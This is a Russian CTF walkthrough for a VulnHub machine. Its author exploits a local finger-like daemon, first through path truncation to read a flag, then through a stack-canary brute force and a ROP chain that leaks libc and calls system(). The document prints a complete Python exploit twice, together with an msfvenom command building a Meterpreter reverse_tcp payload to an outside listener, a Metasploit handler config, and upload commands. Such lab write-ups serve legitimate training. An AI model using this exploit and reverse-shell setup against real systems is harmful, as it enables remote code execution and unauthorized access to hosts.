Логинимся по ssh, и сразу внимание привлекает файл .bash_history
bob@baffle:~$ cat .bash_history
ls -la
cat .plan
cd binz/
ls -la
cd ..
ls
ls -la
ps -efa
exit
ls -latr
whoami
su - charlie
my_kn1ck3rz_r_bunch3d
cd filez/
ls -altr
date
cd ..
ls -latr
clear
ls
cd binz/
ls
cd ..
ls
exit
Фраза «my_kn1ck3rz_r_bunch3d» к сожалению не подошла в качестве пароля, но всё равно её пока сохраним, файл .plan тоже мало помог, а вот в директории binz, своей участи ждёт некий демон:
Смотрим на каком порту он висит:
bob@baffle:~$ netstat -ln
tcp 0 0 127.0.0.1:7979 0.0.0.0:* LISTEN
И собственно пробуем к нему подключиться:
bob@baffle:~$ nc localhost 7979
Флаг явно есть у пользователя Charlie. Осталось его достать. Посмотрим что внутри этого демона, открыв его в IDA:
.text:0000000000400B86 ; __int64 __fastcall query_user(int fd)
.text:0000000000400B86 public query_user
.text:0000000000400B86 query_user proc near ; CODE XREF: main+10D
.text:0000000000400B86
.text:0000000000400B86 fd = dword ptr -4E4h
.text:0000000000400B86 file_cntx = qword ptr -4D8h
.text:0000000000400B86 s = byte ptr -4D0h
.text:0000000000400B86 var_4B0 = byte ptr -4B0h
.text:0000000000400B86 file = byte ptr -460h
.text:0000000000400B86 buf = byte ptr -3F0h
.text:0000000000400B86 var_8 = qword ptr -8
.text:0000000000400B86
.text:0000000000400B86 push rbp
.text:0000000000400B87 mov rbp, rsp
.text:0000000000400B8A sub rsp, 4F0h
.text:0000000000400B91 mov [rbp+fd], edi
.text:0000000000400B97 mov rax, fs:28h
.text:0000000000400BA0 mov [rbp+var_8], rax
.text:0000000000400BA4 xor eax, eax
.text:0000000000400BA6 mov dword ptr [rbp+file_cntx], 0
.text:0000000000400BB0 lea rax, [rbp+s]
.text:0000000000400BB7 mov edx, 14h ; n
.text:0000000000400BBC mov esi, 0 ; c
.text:0000000000400BC1 mov rdi, rax ; s
.text:0000000000400BC4 call _memset
.text:0000000000400BC9 mov edx, [rbp+fd]
.text:0000000000400BCF lea rax, [rbp+s]
.text:0000000000400BD6 mov esi, offset format ; "Socket fd: %d\n"
.text:0000000000400BDB mov rdi, rax ; s
.text:0000000000400BDE mov eax, 0
.text:0000000000400BE3 call _sprintf
.text:0000000000400BE8 lea rax, [rbp+s]
.text:0000000000400BEF mov rdi, rax ; s
.text:0000000000400BF2 call _strlen
.text:0000000000400BF7 mov rdx, rax ; n
.text:0000000000400BFA lea rcx, [rbp+s]
.text:0000000000400C01 mov eax, [rbp+fd]
.text:0000000000400C07 mov rsi, rcx ; buf
.text:0000000000400C0A mov edi, eax ; fd
.text:0000000000400C0C call _write
.text:0000000000400C11 lea rax, [rbp+buf]
.text:0000000000400C18 mov edx, 3E8h ; n
.text:0000000000400C1D mov esi, 0 ; c
.text:0000000000400C22 mov rdi, rax ; s
.text:0000000000400C25 call _memset
.text:0000000000400C2A mov edi, offset buf ; "User to query: "
.text:0000000000400C2F mov eax, 0
.text:0000000000400C34 call _printf
.text:0000000000400C39 mov eax, [rbp+fd]
.text:0000000000400C3F mov edx, 0Fh ; n
.text:0000000000400C44 mov esi, offset buf ; "User to query: "
.text:0000000000400C49 mov edi, eax ; fd
.text:0000000000400C4B call _write
.text:0000000000400C50 lea rcx, [rbp+buf]
.text:0000000000400C57 mov eax, [rbp+fd]
.text:0000000000400C5D mov edx, 7D0h ; nbytes
.text:0000000000400C62 mov rsi, rcx ; buf
.text:0000000000400C65 mov edi, eax ; fd
.text:0000000000400C67 call _read
.text:0000000000400C6C lea rax, [rbp+buf]
.text:0000000000400C73 mov esi, offset reject ; "\n"
.text:0000000000400C78 mov rdi, rax ; s
.text:0000000000400C7B call _strcspn
.text:0000000000400C80 mov [rbp+rax+buf], 0
.text:0000000000400C88 mov eax, [rbp+fd]
.text:0000000000400C8E mov edx, 0Ch ; n
.text:0000000000400C93 mov esi, offset aChecking___ ; "Checking...\n"
.text:0000000000400C98 mov edi, eax ; fd
.text:0000000000400C9A call _write
.text:0000000000400C9F lea rax, [rbp+file]
.text:0000000000400CA6 mov edx, 64h ; n
.text:0000000000400CAB mov esi, 0 ; c
.text:0000000000400CB0 mov rdi, rax ; s
.text:0000000000400CB3 call _memset
.text:0000000000400CB8 lea rax, [rbp+buf]
.text:0000000000400CBF mov edx, 4 ; n
.text:0000000000400CC4 mov esi, offset s2 ; "root"
.text:0000000000400CC9 mov rdi, rax ; s1
.text:0000000000400CCC call _strncmp
.text:0000000000400CD1 test eax, eax
.text:0000000000400CD3 jnz short loc_400CF2
.text:0000000000400CD5 lea rax, [rbp+file]
.text:0000000000400CDC mov rcx, 702E2F746F6F722Fh
.text:0000000000400CE6 mov [rax], rcx
.text:0000000000400CE9 mov dword ptr [rax+8], 6E616Ch
.text:0000000000400CF0 jmp short loc_400D1A
.text:0000000000400CF2 ; ---------------------------------------------------------------------------
.text:0000000000400CF2
.text:0000000000400CF2 loc_400CF2: ; CODE XREF: query_user+14D
.text:0000000000400CF2 lea rdx, [rbp+buf]
.text:0000000000400CF9 lea rax, [rbp+file]
.text:0000000000400D00 mov rcx, rdx
.text:0000000000400D03 mov edx, offset aHomeS_plan ; "/home/%s/.plan"
.text:0000000000400D08 mov esi, 30 ; maxlen
.text:0000000000400D0D mov rdi, rax ; s
.text:0000000000400D10 mov eax, 0
.text:0000000000400D15 call _snprintf
.text:0000000000400D1A
.text:0000000000400D1A loc_400D1A: ; CODE XREF: query_user+16A
.text:0000000000400D1A lea rax, [rbp+file]
.text:0000000000400D21 mov rsi, rax
.text:0000000000400D24 mov edi, offset aPlan_locS ; "plan_loc [%s]\n"
.text:0000000000400D29 mov eax, 0
.text:0000000000400D2E call _printf
.text:0000000000400D33 lea rax, [rbp+file]
.text:0000000000400D3A mov esi, 0 ; oflag
.text:0000000000400D3F mov rdi, rax ; file
.text:0000000000400D42 mov eax, 0
.text:0000000000400D47 call _open
.text:0000000000400D4C mov dword ptr [rbp+file_cntx], eax
.text:0000000000400D52 cmp dword ptr [rbp+file_cntx], 0FFFFFFFFh
.text:0000000000400D59 jnz short loc_400D77
.text:0000000000400D5B mov eax, [rbp+fd]
.text:0000000000400D61 mov edx, 25h ; n
.text:0000000000400D66 mov esi, offset aDonTKnowAnythi ; "Don't know anything about this user.\n"
.text:0000000000400D6B mov edi, eax ; fd
.text:0000000000400D6D call _write
.text:0000000000400D72 jmp loc_400DF8
.text:0000000000400D77 ; ---------------------------------------------------------------------------
.text:0000000000400D77
.text:0000000000400D77 loc_400D77: ; CODE XREF: query_user+1D3
.text:0000000000400D77 lea rax, [rbp+var_4B0]
.text:0000000000400D7E mov edx, 50h ; n
.text:0000000000400D83 mov esi, 0 ; c
.text:0000000000400D88 mov rdi, rax ; s
.text:0000000000400D8B call _memset
.text:0000000000400D90 lea rcx, [rbp+var_4B0]
.text:0000000000400D97 mov eax, dword ptr [rbp+file_cntx]
.text:0000000000400D9D mov edx, 50h ; nbytes
.text:0000000000400DA2 mov rsi, rcx ; buf
.text:0000000000400DA5 mov edi, eax ; fd
.text:0000000000400DA7 call _read
.text:0000000000400DAC mov dword ptr [rbp+file_cntx+4], eax
.text:0000000000400DB2 lea rax, [rbp+var_4B0]
.text:0000000000400DB9 mov rsi, rax
.text:0000000000400DBC mov edi, offset aPlanFileS ; "plan file [%s]\n"
.text:0000000000400DC1 mov eax, 0
.text:0000000000400DC6 call _printf
.text:0000000000400DCB mov eax, dword ptr [rbp+file_cntx+4]
.text:0000000000400DD1 movsxd rdx, eax ; n
.text:0000000000400DD4 lea rcx, [rbp+var_4B0]
.text:0000000000400DDB mov eax, [rbp+fd]
.text:0000000000400DE1 mov rsi, rcx ; buf
.text:0000000000400DE4 mov edi, eax ; fd
.text:0000000000400DE6 call _write
.text:0000000000400DEB mov eax, dword ptr [rbp+file_cntx]
.text:0000000000400DF1 mov edi, eax ; fd
.text:0000000000400DF3 call _close
.text:0000000000400DF8
.text:0000000000400DF8 loc_400DF8: ; CODE XREF: query_user+1EC
.text:0000000000400DF8 mov eax, 0
.text:0000000000400DFD mov rcx, [rbp+var_8]
.text:0000000000400E01 xor rcx, fs:28h
.text:0000000000400E0A jz short locret_400E11
.text:0000000000400E0C call ___stack_chk_fail
.text:0000000000400E11 ; ---------------------------------------------------------------------------
.text:0000000000400E11
.text:0000000000400E11 locret_400E11: ; CODE XREF: query_user+284
.text:0000000000400E11 leave
.text:0000000000400E12 retn
.text:0000000000400E12 query_user endp
Тут наиболее интересной будет функция snprintf, которая формирует путь к открываемому файлу, при внимательном изучении видно, что конечный путь обрезается до 30-1 символов. Следовательно, теоретически, мы снова можем читать любой файл:
bob@baffle:~/binz$ python -c 'print("///////charlie/flag.txt")' | nc localhost 7979
И получаем очередной флаг:
Socket fd: 10
User to query: Checking…
FLAG{i_haz_sriracha_ice_cream}
---
Flag 5 (vulnhub)
Возможно, таким же методом получится вытащить флаг и у другого пользователя:
bob@baffle:~$ python -c 'print("///////vulnhub/flag.txt")' |nc localhost 7979
Socket fd: 6
User to query: Checking…
Sorry Mario. The flag is in another castle.
---
Не вышло. Продолжим поиски. Как и в предыдущем случае, файл имеет такую же защиту:
Однако, есть и некоторые отличия. После продолжительных поисков, методов обхода «канареек», можно наткнуться на 2 статьи: эту и эту. Прочитав их, понимаем, что это как раз наш случай. При отправке различных значений этому демону, во время отладки, можно заметить одну особенность. В случае, если введённая строка не повреждает «канарейку», вывод выглядит так:
Socket fd: 407
User to query: AA
Checking…
Don't know anything about this user.
---
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AA/.plan]
Однако когда происходит повреждение «канарейки», вывод меняется на следующий:
Socket fd: 408
User to query: AAA.....AAAA
Checking…
Don't know anything about this user.
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AAAAAAAAAAAAAAAAAAAAAAA]
*** stack smashing detected ***: ./ctfingerd terminated
Как видно, во втором случае клиенту не возвращаются символы "---". Это можно использовать для брутфорса канарейки. Перебирать юудем используя Python, для этого подготовим несколько функций.
Для начала нужна функция, которая собственно и будет после отправки данных, проверять крашнулось приложение или нет:
#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack
port = 7979
host = 'localhost'
def isCrashed(data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(data)
sleep(0.2)
req = s.recv(1024)
s.shutdown(1)
s.close()
if '---' not in req:
return True
return False
Понадобится функция, для поиска необходимого смещения, его можно конечно и константой задать, но так более
def findCanaryOffset():
min_offset = 0
max_offset = 2000
cur_offset = getCurrentOffset(min_offset, max_offset)
while (max_offset - min_offset) > 1:
print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
send_data = 'A' * cur_offset
if isCrashed(send_data):
max_offset = cur_offset
else:
min_offset = cur_offset
cur_offset = getCurrentOffset(min_offset, max_offset)
return min_offset
Тут мы дабы не перебирать в лоб:
- берём 2 крайних значений, при которых у нас сервис крашится и нет;
- высчитываем между ними среднее и отправляем его;
- далее всё просто, крашнулось — значит много, если нет — мало
Для непосредственно подбора значения канарейки воспользуемся следующей небольшой функцией:
def findCanary(payload):
canary = ''
for i in range(8):
for byte in range(256):
char = chr(byte)
data = payload + canary + char
if not isCrashed(data):
canary += char
print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
break
print('[+] Canary found: %s' % (canary.encode('hex')))
return canary
Которая, попутно выводит промежуточные найденные значения.
Поиск канарейки есть, теперь самое интересное. Для обхода всей оставшейся защиты, которая тут используется (NX + ASLR), нам понадобятся ROP гаджеты, а так же адреса необходимых функций, как в самом бинарнике, так и в используемой им библиотеке libc.so. Она тут собственно нужна в основном для расчёта верного адреса функции system, так как в ctfingerd эта функция отсутствует.
Чтобы рассчитать адрес нам нужно:
- адрес из таблицы GOT, любой функции, которая присутствует в ctfingerd
- адрес, по которому эта функция расположена в используемой libc.so
Для примера будем использовать функцию memset. Получаем её адрес в libc, которую мы предварительно скачали себе по ssh:
$ readelf -s libc.so.6 | grep memset@
838: 0000000000085620 247 FUNC GLOBAL DEFAULT 12 memset@@GLIBC_2.2.5
И её адрес в GOT:
$ objdump -R ctfingerd | grep memset
00000000006014e0 R_X86_64_JUMP_SLOT memset
Далее собственно та самая «элитная» функция, которую мы будем использовать:
$ readelf -s libc.so.6 | grep system
1337: 0000000000041490 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
Нам так же понадобятся функции read@plt и write@plt из файла ctfingerd:
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x400920 <write@plt>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x4009b0 <read@plt>
С функциями закончили, переходим к поиску ROP гаджетов, тут можно посмотреть какие именно регистры используются системных функциях, искать мы будем в peda, которую не раз уже использовали в предыдущих райтапах:
$ gdb -ex "start" -q ctfingerd
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00401011 : (b'5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00401013 : (b'5fc3') pop rdi; ret
И ещё одно, нам нужен адрес, куда писать наш шелл-код в памяти, посмотрим какой диапазон нам доступен для записи:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00402000 r-xp /home/remnux/ctfingerd
0x00601000 0x00602000 rw-p /home/remnux/ctfingerd
Всё готово для формирования эксплоита, который будет состоять из 2 частей. В первой, получаем дескриптор сокета, и высчитываем адреса в libc:
# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)
# Make payload
payload = canaryOffsetBuf # some trash
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack('<Q', pop_rdi) # pop rdi, ret
payload += pack('<Q', socketFD) # STDOUT to socket
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack('<Q', memsetGOT) # Address read in GOT
payload += pack("<Q", 0x00) # Owerwrite r15
payload += pack("<Q", writePltOffset) # return to write@plt
# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()
# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))
В сокет мы как раз и будем перенаправлять вывод. Вторая часть будет непосредственно записывать наш шелл в память и вызывать system:
socketFD += 1
# Save shellcode to writable memory
payload = canaryOffsetBuf # some trash
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack("<Q", pop_rdi) # pop rdi
payload += pack("<Q", socketFD) # socket to read from
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack("<Q", free_space) # location to write to
payload += pack("<Q", socketFD) # junk for r15
payload += pack("<Q", readPltOffset) # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)
# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)
Объединив всё вместе и внеся некоторые коррективы получаем готовый эксплоит:
#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack
port = 7979
host = 'localhost'
def getCurrentOffset(min_offset, max_offset):
return min_offset + (max_offset - min_offset) // 2
def isCrashed(data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(data)
sleep(0.2)
req = s.recv(1024)
s.shutdown(1)
s.close()
if '---' not in req:
return True
return False
def findCanaryOffset():
min_offset = 0
max_offset = 2000
cur_offset = getCurrentOffset(min_offset, max_offset)
while (max_offset - min_offset) > 1:
print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
send_data = 'A' * cur_offset
if isCrashed(send_data):
max_offset = cur_offset
else:
min_offset = cur_offset
cur_offset = getCurrentOffset(min_offset, max_offset)
return min_offset
def findCanary(payload):
canary = ''
for i in range(8):
for byte in range(256):
char = chr(byte)
data = payload + canary + char
if not isCrashed(data):
canary += char
print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
break
print('[+] Canary found: %s' % (canary.encode('hex')))
return canary
def parseSockFD(resp):
# resp = 'Socket fd: 7\nUser to query: ' =>
# ['Socket fd', ' 7\nUser to query', ' '] =>
# [' 7', 'User to query'] => '7'
fd = resp.split(':')[1].split('\n')[0].strip()
return int(fd)
# Detect Canary
min_off = findCanaryOffset()
canaryOffsetBuf = 'A' * min_off
canary = findCanary(canaryOffsetBuf)
# Offsets
libcSystemOffset = 0x41490
writePltOffset = 0x400920
pop_rsi = 0x401011
pop_rdi = 0x401013
free_space = 0x6012c0
readPltOffset = 0x4009b0
memsetGOT = 0x6014e0
libcMemsetOffset = 0x85620
# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)
# Make payload
payload = canaryOffsetBuf # some trash
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack('<Q', pop_rdi) # pop rdi, ret
payload += pack('<Q', socketFD) # STDOUT to socket
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack('<Q', memsetGOT) # Address read in GOT
payload += pack("<Q", 0x00) # Owerwrite r15
payload += pack("<Q", writePltOffset) # return to write@plt
# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()
# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))
socketFD += 1
# Save shellcode to writable memory
payload = canaryOffsetBuf # some trash
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack("<Q", pop_rdi) # pop rdi
payload += pack("<Q", socketFD) # socket to read from
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack("<Q", free_space) # location to write to
payload += pack("<Q", socketFD) # junk for r15
payload += pack("<Q", readPltOffset) # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)
# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)
Теперь самое время воспользоваться msfvenom, и создать бинарник, который мы и будем запускать:
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle
А также конфиг для msfconsole:
$ cat meterpreter.rc
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run
Заливаем по ssh все необходимые файлы на атакуемый хост:
scp x64mettle bob@192.168.1.190:/tmp/
scp exploit7979.py bob@192.168.1.190:/tmp/
ssh bob@192.168.1.190 "chmod 777 /tmp/x64mettle"
ssh bob@192.168.1.190 "chmod +x /tmp/exploit7979.py"
Запускаем у себя Metasploit, запускаем на атакуемом хосте наш эксплоит и наслаждаемся выводом:
bob@baffle:/tmp$ python exploit7979.py
[*] Max Offset: 2000 Min Offset: 0
[*] Max Offset: 2000 Min Offset: 1000
[*] Max Offset: 1500 Min Offset: 1000
[*] Max Offset: 1250 Min Offset: 1000
[*] Max Offset: 1125 Min Offset: 1000
[*] Max Offset: 1062 Min Offset: 1000
[*] Max Offset: 1031 Min Offset: 1000
[*] Max Offset: 1015 Min Offset: 1000
[*] Max Offset: 1007 Min Offset: 1000
[*] Max Offset: 1003 Min Offset: 1000
[+] Found Canary byte 0: 00
[+] Found Canary byte 1: 17
[+] Found Canary byte 2: 40
[+] Found Canary byte 3: 48
[+] Found Canary byte 4: 6b
[+] Found Canary byte 5: 82
[+] Found Canary byte 6: 0e
[+] Found Canary byte 7: 73
[+] Canary found: 001740486b820e73
[+] Response from server: User to query: Checking...
Don't know anything about this user.
6�� @ "!����P��
[+] Real address for memset(): 0x7f109f173620
[+] Real address for libc: 0x7f109f0ee000
[+] Real address for sysem(): 0x7f109f12f490
[+] Run reverse shell
И в конечном счёте получаем консоль Meterpreter'а:
Быстро отыскиваем флаг, поздравление и птичку.
Комментарии (0)